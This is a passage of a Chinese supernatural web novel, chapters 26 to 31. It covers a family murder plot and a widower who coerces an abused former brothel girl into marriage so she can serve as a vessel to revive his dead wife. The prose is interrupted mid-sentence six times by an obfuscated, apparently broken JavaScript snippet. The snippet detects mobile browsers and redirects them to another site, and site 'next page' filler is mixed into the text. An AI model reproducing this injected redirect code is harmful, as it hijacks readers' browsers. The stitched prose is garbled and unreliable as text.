这一眼使几个人心中也有了答案。 嫡出的长子黄允恒,自出生就有着爹爹的疼爱和娘亲的宠溺,过着锦衣玉食、无忧无虑的生活,要风得风,要雨得雨,无论是新奇的玩具还是可口的美食,只要他想要,就没有得不到的。 黄允恒觉得自己拥有无尽的资本,可以随心所欲地做任何事情。 然而,好景不长。 那个小妾所生的儿子,诗词歌赋样样高他一头,就连为人处世这方面也颇有心机,更让他气愤的是,这庶子不仅能娶到宋显弘之女为妻,还没两年就怀有了身孕! 这一连串的事情,让黄允恒心中充满了嫉妒和怨恨。 他开始意识到,原来自己并不是黄府说一不二的大少爷,还有人能够超越他甚至替代他。 他的出现逐渐夺走了属于他的一切,他怎么可能会让他们好过。 黄允恒在得知黄老爷子会将七成的家产留给那个未出世的孩子时,他就彻底崩溃了,他跑去质问孟涟怎么结婚这么多年了肚子里却没有一点动静,又跑去将那几个妾室大骂一通说她们都是没用的东西。 他得想办法阻止这一切,而最好的办法不就是让这个孩子消失么。 于是他找到了曾朋,让曾朋去找几个人时刻盯着宋淇,只要她出了黄府,就得让她有去无回。 可偏偏诗禾那丫头和黄允岸最是小心,平日里完全不让宋淇踏出大门一步,在家中动手难免过于危险,就在黄允恒想要换个法子的时候终于让他等来了最佳的时机。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第26章 望绿洲 等他回到黄府的第一件事就是找来了自己的亲信,给了他们一个生辰八字,吩咐他们速速找到与之相同的女子。 诗禾以为黄允岸怒气冲冲的找到黄允恒以后会把他大揍一顿再丢给衙门处置,可当她问到从外面抱着镜子回来的黄允岸结果如何时,黄允岸却只是朝她摆摆手,让她以后莫要再提为宋淇报仇的事儿了。 “是大少爷,他派人劫持的小姐又害的小姐丢了性命,只是这偌大的黄府竟无一人怪罪于他,呵。”诗禾冷笑了一声,收回了看向黄允恒的视线,她对着宋书岚说道:“中律司对于这样的案子,可有什么解决办法么?” “这你应该问衙门,因私人恩怨造成的寻常杀人案件并不在中律司的管辖范围之内。”宋书岚说道。 诗禾就知道会是这个答案,只是她还是想不死心的问上一句,她想知道这世间究竟还有没有公平的人或组织能来惩治杀了人的黄允恒。 可衙门早被黄老爷给了好处,也不会深究这件事。 而中律司更不会看上这么一件不起眼的命案,毕竟只是家宅内斗下的一条生命而已。 “老爷...老爷你怎么了!!快来人啊!快拉住老爷。” 就在这时,人群之中突然传来一阵呼喊声,几人纷纷转头望去,只见那位原本走路都需要人搀扶的黄老爷,此刻竟然像个没事儿人似的站了起来!仿佛有一股无形的力量在支撑着他一步步地朝着那个池子走去。 每走一步,他的身体似乎都在颤抖着,但他的步伐却从未停下。 周围人见状,纷纷想要上前拉住他,然而黄老爷却用力地甩开了他们的手,继续朝着池子缓慢地前进。 “啧,真想让他一头栽池子里死了得了。”蒋曌说完就冲到人群中去制止黄老爷子的行动。可那老头子不知道从哪来的那么大力气,饶是蒋曌按住他都有些吃力,“楞着干什么??帮忙啊!”他吼了一声在旁边待着不敢向前的小厮丫鬟,可他们哪还敢上前帮忙啊,最终还是宋书岚走过去帮他一同摁倒了黄老爷。 但一波未平一波又起,他们刚止住这边,那边站在后方的曾朋也开始一步一步的向池子走去。 秦在锦虽然不是很想救这种人,但是是非非还轮不到他来审判,更何况如果只是让他就这么淹死了也未免也太便宜他了。 他让唐时将刚刚绑福明的绳子解了下来,一头拴在院子里的柳树上,一头套在曾朋的身上。 曾朋此时像是被控制住的傀儡,得到的命令只有一个劲儿的向前走,没有一丝自我意识可言,哪怕是身上捆着绳子,他也像没有知觉一般龇牙咧嘴的在原地踏步。 “姐姐,要我说他们两个就该千刀万剐地扔进油锅炸他个三天三夜,只是溺死他们有什么意思呀?”冬苓站在那里对着空气喊道,她隐约能看到迷雾中站着的两个女子,只是对方并没有给她回应。 江洵一直觉得冬苓不一般,如今看来她不仅仅只是耳朵好使,就拿今日他两次差点被迷雾魇住的时候,冬苓总能第一时间察觉到他的不对劲将他从中拽出来。 “你看到了什么?”江洵站起身来问冬苓。 冬苓没有回答他的问题,继续朝那个方向喊道:“姐姐,我觉得这个府里最应该死的应该是黄允岸吧,要不要我帮你杀了他呢?”她边说边将手放在盘在腰间的鞭子上。 说是条鞭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170774|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子可它鞭条的用料又与寻常鞭子不相同,一般是用动物的毛皮或布料麻绳之类的制作,可她手中拿着的那只却像是用几条拧在一起的枯树枝,上面还长着大小不一的嫩芽。 眨眼之间,迷雾尽数朝冬苓涌来。 “风起云涌,叶落秋一一止”,冬苓迅速抬手捏决,眼前的迷雾在她手起话落间停了下来。 这并非是主动停下,而像是被动的控制,如同江洵下午扔出去的枕头在触碰到秦在锦一寸距离时瞬间停下一样,仿佛那里的时间和空气都被静止了。 “洵哥,快别站我身后了。”冬苓吃力的说道。 “啊?可你后面最安全啊。”江洵看了眼周围,确实是她身后最安全没错啊。 “目前是安全,但我很快就撑、不、住了!!!快跑呀!!!”冬苓说完收回了手,拽着身后的江洵就往秦在锦那边跑。 真是书到用时方恨少,早知道当初就跟大哥多学几天了,如今就只学会了个皮毛根本撑不了多久,悔不当初啊!!! 逃命之大哥再教我一下。 江洵:大姐,我以为你是王者来的..... 那头捆人的秦在锦看到的就是一大一小的两个人身后还跟着一团看着就危险的迷雾一并向朝冲过来的场景。 他人都愣住了,这是什么? 这就是兄弟!你看吧,在危急关头有事他是真坑你! “你们别把那玩意儿往这引啊!!!”秦在锦站在原地手足无措,心里想了八百个对策,可姐姐没教他怎么打这玩意儿啊,这又不是人它都没实体! 本小章还未完,请点击下一页继续阅读后面精彩内容! 第27章 难自处 他们几乎寻遍了整个隰城,经过一番努力之后终于找到了几个和宋淇生辰八字相同之人。虽然人数不多,但也总算是没有白费力气。 黄允岸得知这个消息后非常高兴,立刻吩咐手下要不惜一切代价将这些人带到黄府来让他亲自过目。 正当手下们领命而去的时候,名单上一个意想不到的人名闯入了黄允岸的视线——桑若。 次日一早黄允岸带着宋淇生前最爱吃的葡萄来看她,刚准备起身回家,瞥见了一个身影正朝着宋淇的坟墓走来。 待那人走近一看,原来是桑若。 那天的她身着一袭藕粉色的罗裙,如同盛开的荷花般清新脱俗。 微风轻轻拂过,吹起了她腰间的秀发,脸上虽没有施加任何脂粉,但却多了几分纯真,与初次相见时那个浓妆艳抹的姑娘相比,简直是判若两人。 此刻的她,宛如一朵淡雅的荷花,安静地绽放这独属于自己的光彩。 桑若在看到黄允岸时也愣了一下,毕竟她专门挑了不会有人前来的时间。 她深吸口气紧紧握住了手中的花束,在走到黄允岸面前的时候轻声说了句:“公子节哀”,然后小心翼翼地将花放在了水果的右侧。 看到眼前的这些花让黄允岸不禁回想起前几日也在宋淇的坟前看到过,当时他还以为是宋府的一些人送来的。 “上次那束花也是你送的么?”黄允岸问道。 “是的,我没什么贵重的东西可以送给夫人,倒是院子里养了些花花草草,也不知道夫人喜不喜欢。”她随手将被风吹乱的发丝别到耳后。 “她会喜欢的。”黄允岸看着墓碑呢喃道,仿佛在向逝者诉说内心的思念。 二人就这么一前一后的走着,谁也没有开口说话,只有下山的脚步声在沉默中回荡。 最后还是黄允岸打破了这份沉默。 他知道比起名单上那几位还未调查过背景的人来说,身侧的桑若来当宋淇的“容器”是最合适不过的。 因为桑若即便是死了也不会有几人在意,更不会有人会替她感到惋惜。 “桑姑娘对现下的生活可还满意?”他如同与朋友谈心一般的问道。 桑若笑着回了句:“很满意,说来也要谢谢公子和夫人,若不是你们我恐怕也不能过上普通但又可贵的日子。” 若说黄允岸是救她于水火之中的人,那宋淇便是带来了光的人。 她有个酗酒如命、动辄打人的爹,还有个性子软弱、不敢反抗的娘。 她在家中排行老大,她下面还有着两个妹妹和一个弟弟,仿佛她娘嫁过来的使命就是要给桑家生个儿子一般,因为在弟弟出生的那天她娘就去世了。 又因为没钱买棺材,爹爹趁着晚上没人出门的时候把她娘的尸体像扔垃圾一样丢在了后山的乱葬岗。 娘亲虽然软弱,但她活着的时候多少会护着桑若一些,哪怕只有那么一会儿,也足够桑若喘口气继续苟活。 在她去世以后,桑若便没有了苟活的盾牌也没有喘息的时间。 农忙的时候她就早出晚归的去做农活,等农闲时就去镇子上找些活计讨口饭吃赚些铜钱回家,毕竟她爹有点钱只会花在自己身上不会管她们姐弟三人的死活,于是桑村到罗浮镇成了桑若经常走的路,也是她这辈子走过最远的路。 她以为自己会和娘亲一样被家里安排着嫁给一个素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170775|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未谋面的男人,然后再战战兢兢、如履薄冰地过完余生。 可是弟弟突然生病了,家里没有足够的钱去买上好的药材。 爹爹认为这个家即使没有她这个女儿也无关紧要,毕竟家里还有两个女儿可以接替她的位置出去干活赚钱。 与其让她继续待在家中浪费粮食,倒不如索性把她卖到云翠楼换取钱财更为划算。 她从未想过自己有一天也会变得如此值钱,尽管这笔钱最终并没有进入她自己的口袋。 媚姨是云翠楼的掌柜,她一眼就看出桑若的性格木讷,平日里又不善言辞,这样的姑娘很难笼络到客人,更别说让客人心甘情愿地为她花钱了。 媚姨决定暂时先让桑若在前厅做些端茶倒水的活儿,等她慢慢适应了这里的环境,学会如何与客人打交道以后,再去安排她接客。 与此同时,黄府每月来请平安脉的郎中说宋淇已有了身孕。 这个好消息让整个西院都沉浸在一片欢乐和喜庆之中。 然而,有人欢喜有人忧。 当黄允恒得知这个消息时,他在东院大发雷霆,骂完孟涟骂妾室,最终为了发泄心中的不满决定出门寻找一些乐子来舒缓情绪。 黄允恒带着他的好哥们踏入云翠楼以后,目光瞬间被前来倒酒的桑若所吸引。 他觉得这姑娘宛如一朵出淤泥而不染的莲花,与楼里其他女子截然不同,甚至比家里那些妾室还要清新脱俗,看上去格外干净和纯粹。 再加上身旁狐朋狗友的起哄,他内心的占有欲愈发强烈,于是便开始对桑若动手动脚。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第28章 清醒者 桑若疑惑地闭上双眼,渐渐进入梦乡之际,突然被一阵急促的拍门声惊醒。 她睡眼惺忪地下床,然后从床底下里取出不久前买来的铁锤,赤着双脚向门口走去。 拍门声在她踏出堂屋时逐渐停歇,但她仍旧觉得不安心,于是透过大门的缝隙向外张望,环顾一圈后并未发现门外有任何人影。 正当她准备转身返回时,无意间瞥见门缝下方,恰好与一双凝视着她的眼睛对视。 "姐姐……" 门外传来一声虚弱的呼唤。 桑若先是被吓了一大跳,待回过神来定睛一看,才发现门外之人竟是自己的二妹妹桑落。 只见桑落倚靠在那里,气息奄奄、浑身是血。 桑若来不及多想,立刻打开房门紧紧抱住即将晕厥的桑落,在确认四周无人后,她又迅速关上门,将桑落带回床上。 妹妹身上的伤口她再熟悉不过了,那纵横交错、触目惊心的伤痕仿佛是她曾经所遭受过的苦难烙印。 她也曾无数次因为一些微不足道的错误或者在根本没有犯错的情况下而遭到喝醉的爹爹无情地抽打,以至于浑身布满了狰狞丑陋的疤痕。 她并没有过多追问缘由,只是默默地为妹妹清理伤口,小心翼翼地擦拭着每一处血迹,然后轻轻地换上干净而柔软的衣物。 桑落静静地躺在那里,泪水悄无声息地流淌着。 她其实很早之前就知晓姐姐的住所,但她认为姐姐如今生活得很好,所以不愿来打扰,毕竟那个毫无温暖的家不回也罢。 然而,今天她实在无处可去了。 爹爹因为无力偿还赌债,竟然打算将她和三妹一同卖掉以换取钱财,她坚决不从,结果遭来一顿毒打,她尽力护住妹妹,不让鞭子落在妹妹身上。 最后是那个年幼的弟弟用尽全身力量撞倒了殴打姐姐的恶魔,妹妹见状也立马翻身上前摁住了她爹,“跑啊!!!” 弟弟一边哭一边冲她喊着:“跑啊!!!快跑!!!!” 她在那一瞬间反应过来,跌跌撞撞的向门外跑去,耳边充斥着弟弟妹妹的哭喊声和恶魔的怒吼声。 也许她那时候应该带着弟弟妹妹一起逃跑才对,但在那种紧急情况下她根本没有足够的理智去思考这些问题。 后半夜时分,桑若静静地守在床边,看着妹妹安然入睡之后,才开始梳理起这几天所发生的一系列事情。 黄允岸向她提亲,显然是早有预谋、精心策划过的。 比如,他了解到自己家中的经济状况并不乐观;再比如,他知晓她的父亲欠下巨额赌债……如此种种,都让他笃定了此刻向她提亲是最佳的时机。 可以说,只要她内心稍微有点软弱和仁慈,那么黄允岸便算是赢了。 毕竟,他算准了桑若是绝对不可能抛弃与自己相依为命的妹妹。 桑若就这么静静地靠在冰冷的墙壁上,她透过窗户凝视着那高高挂起的皎洁月亮,眼角处不自觉滑落出的泪水像黑夜中一闪而过的流星一般短暂。 黄允岸今天来得比平时稍晚一些,他手指摩挲着一根簪子,默默地站在门口等待桑若前来开门,与往日不同的是,这次他的身后并未紧跟着黄府的下人。 桑若一脸倦容,缓缓起身前去给他开门,当门口后目光落在那根簪子上时,她一眼便认出它曾属于宋淇。 然而, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170776|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她并未多问半句。 "桑姑娘考虑得怎么样了?"黄允岸将簪子小心翼翼地收好后,直视着桑若的双眼开口问道。 "为什么会是我呢?"桑若的语气平静而又带着一丝疑惑。 "因为……我心悦你啊!"说出这句话时,黄允岸不自觉地移开了视线。 这句话在桑若听来只觉得无比可笑,就像她早已腐朽不堪的人生一般荒诞不经。 黄允岸继续说道:“你嫁于我以后,我会给你的弟弟妹妹们安排一个好的住处,也不会让她们再为柴米油盐发愁,而且保证她们以后再也不见到你那个嗜酒家暴的父亲。” “我呢?”桑若嗓子沙哑的问道。 “什么?” “我说我呢?我的弟弟妹妹是过上了好日子,那我呢?我嫁给你过的也会是好日子么?黄公子的心悦是有时限的吧?宋淇姐姐那样好的女子才去世多久你都能移情别恋。” 黄允岸走近一步说道:“你嫁于我自然是也会过上好日子,你每天什么都不用做只是呆在黄府就行。” 他没有回答桑若后面的问题,只是向她承诺着以后会照顾好她不让她再过苦日子,如果担心弟妹的安危,他甚至还可以找人帮她除掉那个男人。 “我只给你三日的考虑时间,这期间我会命人给你送来嫁衣,三日后你若同意了便开门入轿去与我完婚,若不同意那这个院子你和你的妹妹就都不能再住下去了,届时来接你的就会是你们的父亲了。” 黄允岸撂下这句话后,甚至没有等桑若答复便转身离开了,留下桑若一个人呆愣在原地。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第29章 新人哭 桑若将躲开的右腿又退了回来,黄允岸一下又一下地按摩着她的小腿,而后又搓了搓手掌心覆在她的膝盖上。 “母亲说什么你便应什么,不要顶嘴也不要跟她反着来,不然以后会有你吃不完的苦。黄府人多事儿多心眼子自然也多,你自己多注意些,切莫与人发生争执让人伤了你的身子。”他好似是在安慰她,但这些话在桑若听来无非就是你自求多福吧出事了我也保不了你。 见桑若没有回应,他抬头看向她,只见眼前的女子眼眶微红又撅着嘴一副强忍着不服气的样子。 “你在生气?”他突然觉得桑若这副模样有些可爱,和宋淇第一次从老太太那问安回来时的表情如出一辙,显然是受了气。 “对啊,怎样?在黄府生气也不可以?”桑若倔强的问道。 黄允岸笑了一下,“当然可以。” 夜晚,桑若躺在床上即将熟睡之时,她渐渐感觉到腿部的疼痛似乎有所减轻,但这种减轻并非自然而然,更像是有人在小心翼翼地给她按摩。 难道是黄允岸那厮?可转头一想,黄允岸这些天一直睡在书房里,并没有在她旁边啊! 就在她迷迷糊糊地睁开眼睛时,突然看到一个披头散发的女人背对着她坐在床边,桑若惊恐万分,忍不住尖叫起来。 诗禾闻声而来,迅速推开房门,关切地问道:"发生什么事了?" 桑若望向诗禾,眼神中还带着一丝恐惧,然后又将目光移向床尾。可那里空空如也,刚刚看到的那个女人仿佛只是她的幻觉或者眼花缭乱所产生的错觉罢了。 “我刚刚……” 她本想将刚刚所见都讲于诗禾听,可她知道这并不现实,在外人听来可能还以为是她没事找事,“没什么,我刚刚做噩梦了,不好意思啊惊扰到你休息了。” 诗禾环视了一圈发现没什么可疑的,便给她关上门走了。 桑若深呼一口气,确认窗户和门都紧闭着才再次安心躺下,刚刚那一幕太过真实,以至于让她每每想起都不寒而栗。 次日一早,她便乖乖地去给黄老夫人请安,依旧是先站在门外等了一个时辰,而后才进去,只是这次连杯茶水都没有给她准备,也未让她坐下,就这么站在这里闲聊了几句家常再教导她要懂规矩以后便让她回去了。 回去的途中遇到了一位东苑的丫鬟,那丫鬟见到桑若时,并没有停下脚步向她问安,甚至还在与桑若擦肩而过的瞬间,“呸”了一声。 桑若不禁皱起眉头,暗自思忖:“我最近又做错什么事情了?” 诗禾回头看了一眼那个姑娘,立刻认出她是言小娘身边的丫鬟琉燕。 这个琉燕曾经也心怀不轨,妄图爬上大少爷的床,当个小妾之类的角色。只可惜她的容貌不够出众,没能入得了大少爷的眼。 可自从她的小心思被言小娘发现之后,便每天变着法子刁难她。然而她却心高气傲的总是幻想着有朝一日能够攀上高枝,然后反过来报复言小娘。 如今,看到桑若成功地做到了她一直却未能实现的事情,琉燕心中充满了愤恨。尤其在得知桑若曾经是云翠楼的姑娘之后,她更是气得火冒三丈。 她实在想不通,为什么像桑若这样的人都能够成事,而她却不行呢?难道自己比桑若还差劲吗? 她原本想要通过这种方式羞辱一下桑若,因此才朝着桑若的方向“呸”了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170777|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。可令她没想到的是,对方竟然完全无视了她的举动,甚至连头都没有回一下,依旧自顾自地向前走着。 眼看着自己的行为并没有引起对方丝毫的反应,她心中的怒火愈发旺盛起来,气急败坏地弯腰捡起地上的一块石头,毫不犹豫地朝着桑若扔了过去。 而这一次,这块石头恰好击中了桑若的后背。 被砸中的地方传来一阵疼痛,桑若还是强忍着没有做出任何回应,她得秉持着“多一事不如少一事”的原则,而且黄允岸曾经明确表示过不允许她在府邸里惹事生非。 桑若的一再忍让反而让琉燕产生了一种错觉,认为这个人也不过是个胆小怕事、逆来顺受的窝囊废罢了。 两天后的她因为做事不合规矩而遭到言小娘的斥责,她十分不服气地顶了一句嘴,换来的自然是言小娘的责打,两只手掌心都被戒尺打得通红。 她刚刚领完罚走出院子的时候,就撞见了从老太太那请安回来的桑若。 好啊!这不就是现成的出气筒吗? 只见她手一扬,将碎掉的瓦片朝着那个方向狠狠地扔了过去!只是就在瓦片即将击中桑若的瞬间,诗禾伸手稳稳地接住了它。 “琉燕姑娘,你这是何意?”诗禾脸色冷峻,质问道。 琉燕显然没有预料到诗禾能够接住她扔出的东西,毕竟距离如此之远,而且她上次扔的时候,诗禾也是冷眼旁观,并未出手干预。 “手滑而已。”琉燕漫不经心地回答道,脸上毫无愧疚之色,反正人也没被砸到,而且她们背后也没有长眼睛,那解释权自然在她手中。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第30章 池中水 傍晚时分,黄允岸结束了一整天繁忙的公事后回到书房准备稍作休息,然而,他刚刚坐下没多久,书房的门便被桑若轻轻推开了,身后还紧跟着诗禾。 黄允岸见到推门而来的人是桑若时还有些惊讶,不禁挑起眉毛。 要知道,桑若向来都很少主动找他,即使是受到黄府其他人的欺凌,也从未向他寻求帮助或着让他前去解围。 黄允岸礼貌地做了个请的手势,示意她坐下说话。 在沉默片刻后,桑若终于开口:“我怀孕了。” 这声音虽然不大,却如同惊雷般在书房中炸响。 黄允岸顿时瞪大眼睛,满脸惊愕和难以置信。 他先是愣了一下,紧接着发出一声质疑:“哈?????” 黄允岸的目光迅速从桑若身上移开,转向了一旁的诗禾,只见诗禾面无表情地接着说道:“今日容郎中来诊过脉了,确实是喜脉无疑。” 这句话的每一个字都清晰可闻,但组合在一起怎么就让人听不明白呢。 他丝毫不相信桑若会背着自己与他人私通苟且,因为那绝非她的品性所为,那么这问题究竟出在哪里呢? 正当黄允岸苦思冥想之际,视线不经意间落在一旁的书架上,那里摆放着一堆书籍,其中有一面与书本叠放在一起的铜镜,黄允岸看到后突然间恍然大悟。 “嗯……这个事儿……是这么个事儿啊……” “嗯……这就是件好事儿啊!” 黄允岸从凳子上起身,欣喜若狂的在桑若面前蹲下同她说道:“干嘛愁眉苦脸的,怀孕了是好事啊!” “可是我们……”桑若刚想些说什么就被黄允岸打断了,“我知道你在想什么,有些事咱们已经做过了但可能你忘了呢,这些日子里你就好生养着,最好不要再出门了。我看请安也不必去了,我就不明白这有啥好请的,他亲儿子都没你去的勤,回头我跟老太太说一声,你就在屋里歇着吧。” 桑若将信将疑地听了黄允岸的话,整日待在屋里足不出户。 一开始,她对这突然到来的生命充满着疑虑,甚至想着让诗禾换个郎中来诊脉,但随着日子一天天过去,她的肚子渐渐隆起,她竟开始期待这个小生命的到来。 黄允岸这几个月也时常与她一同用餐,偶尔还会耐心地教她练字,以消磨时光。 时间一晃,八个月过去了,这些时日宛如池中的死水,平静又没有波澜,可对桑若来说平淡的日子向来难能可贵。 也是从这时起,桑若开始看到一些旁人看不到的东西。 她常常在半夜惊醒时,发现一个看不清面容的女子端坐于梳妆台前精心装扮;有的时候还能听到从院子里传来阵阵婴儿的啼哭之声;更甚者,她还曾亲眼目睹那名女子伏在自己的肚皮之上,轻声呢喃的说着祝福孩子能够平安长大。 桑若不禁怀疑起自己是不是疯了。 她曾试探性地问诗禾有没有在夜里听到什么动静或看到什么人影,但诗禾的回复一直都是从未有过。 与此同时,她的小腿也开始疼痛并且在逐渐地加剧,这种痛感并非来自于孕期常见的肿胀不适,更像是有人拿着锤子一下又一下地敲打她的小腿,可每当她心急如焚地掀开裤裙查看那里除了早年留下的伤疤外以为,便什么伤痕都没有。 她想要诗禾帮忙请个郎中给她诊治一下是不是骨骼或者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170778|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经脉方面的原因所致,可诗禾只是回复她二少爷不许请郎中看诊。 她想要当面质问黄允岸为何阻止她问医,可此时她的双腿已经严重到无法下床走路了,仅仅只是翻身都疼痛难忍。 桑若觉得再这么下去,她会疼死的,她甚至有可能熬不到孩子出生。 黄允岸最终还是来看她了,他进门看到床上的桑若时甚至愣了一下,她太瘦了,仅仅月余仿佛像被耗干了元气一般,不是说孕晚期的孕妇会越来越胖么?怎么到了她这却是反着来? 桑若看到他来以后艰难的翻了个身,不想去理会黄允岸,她现在对他无话可说,之前不让请大夫这件事本来就让她有些在意了,后来甚至躲着不见更是让她气愤, 难不成她肚子里的孩子只是她一个人的么?难道她的命就这么轻贱? 黄允岸看桑若背对着他叹了口气,他之前有去问过玄泽桑若腿疼这件事,因为腿疼的位置和宋淇受伤的位置如出一辙,所以他先去请教了玄泽,但玄泽回复一切都在稳定的进行中,没有必要节外生枝。 事成之后桑若的身体便是由宋淇在做主,所以宋淇死前经历的那些痛苦桑若也会再感同身受一番,直至宋淇占据身体以后小腿的疼痛感才会逐渐消失,因此黄允岸便没有给她请大夫,当然为了逃避桑若的质问他就随便寻了个由头称自己需要外出些时日来躲着桑若。 黄允岸趁着桑若背对他时,将梳妆台上的镜子拿了下来,换上了手中的铜镜,玄泽说最后一个月需要桑若多看看镜子。 “少爷在笑什么?”诗禾进门看到的就是黄允岸正坐在凳子上照镜子,脸上还带着诡异的笑容。 这章没有结束,请点击下一页继续阅读! 第31章 镜中人 “我的孩子呢?”桑若歪头问向气喘吁吁的黄允岸。 “你先把镜子放下来,有话好好说。”黄允岸咽了口唾沫,紧张的看着桑若,生怕她一个不小心就把镜子摔坏了。 “孩子呢!”桑若再次问道。 “死了。”黄允岸回答完试图靠近桑若。 桑若敏锐地察觉到了他的举动,毫不犹豫地将手中的镜子高举过头顶,这个高度一旦坠落,镜子必然会破碎成无数片。 黄允岸不断默念着“冷静”这两个字,但内心却充满疑惑不解:到底哪个环节出现了差错?玄泽明明说过,只要能让桑若醒来后照到镜子,并顺利度过子时,宋淇就能复活重生。 然而眼前的局面与玄泽所描述的相去甚远,可以说是完全失控。 他意识到自己低估了桑若的自我控制力,同时也高估了自身的能力。 “不可能!我明明亲眼看见你把他抱走了!” “那个孩子一出生就是死胎,早在生下来之前他就已经死了你明白吗?!再说那根本不是你的孩子,而是我和阿淇尚未出世的……” “他说的是真的吗……”桑若的目光投向窗外的宋淇,试图从她那里得到一个否定的答复,而在经历了一段漫长而令人窒息的静默之后,宋淇微微点了点头。 是真的。 黄允岸与诗禾一同循着她的视线望向窗台,可那里空无一人,他们看不到站在那里的宋淇。 深知内情的黄允岸知道宋淇此刻一定就在这里,他心里只有一个念头——拿到那面镜子! 正当他准备趁桑若低头沉思之际,猛然冲上前去抢夺镜子时,忽然听到桑若带着哭腔喊道:“你们开口要的话难道我会不给吗?” 当她再度抬头时,已是泪流满面。她继续质问道:“你们想要我的命,我怎会吝惜不给?这条性命,我又何曾在意过?这犹如地狱般的日子,我又何尝贪恋过?只是说句实话就有那么难吗?有那么难吗!到底是为什么啊?” 她始终无法理解,她的一生总是被无数个“为什么”所填满。 她不明白母亲为何眼中总是满含泪水。 她不明白父亲为何总是要用暴力宣泄情绪。 她不明白自己为何要被卖去云翠楼。 她不明白黄允岸为何会选择自己。 她不明白偌大的黄府为何会容不下渺小的她。 她不明白为何她的一生总是会竹篮打水一场空。 明明已经努力的让自己的存在感降到最低了,明明已经竭尽全力的去燃烧自己了,明明已经足够的忍气吞声了,可为何还是不允许她活下去。 她深知,在这个世道上总有一些人过得比她更为困苦不堪。那些流离失所、风餐露宿的乞丐们;那些失去家庭温暖、孤苦伶仃的孩子们;还有云翠楼那些靠出卖色相才能谋生的女子们;以及这府邸内时常遭受责骂和欺凌的奴仆们……他们都过的比她艰难。 所以她时常告诉自己:“总有人比我更痛苦”,她自我安慰的熬过一日又一日。 其实,她并不是一个不知感恩的人,别人给她的一点点好她都能记很久很久。 即使当初黄允岸强行逼婚,要她嫁入黄家,她虽有不满,但却从未心生怨念。毕竟,那时的黄允岸不仅将她救出火坑,还给她提供了一处安身之所。 这份恩情,她始终没齿难忘。 更何况宋淇还曾给了她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170779|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个安稳的工作,让她能光明正大的将银子装进自己的口袋里,那是她不曾活过的生活。 所以只要黄允岸让她帮忙,说可以用自己的性命来换取宋淇的重生,那么她是愿意帮的。 即使别人来顶替这副身子里的魂魄也没关系,毕竟这对“桑若”来说又何尝不是一种新生? 可他们偏偏不该欺瞒自己,不该在她忍受了百般折辱后还要她大度偿还当初的那份恩情。 她不愿了。 她没理由再去奉献自己了。 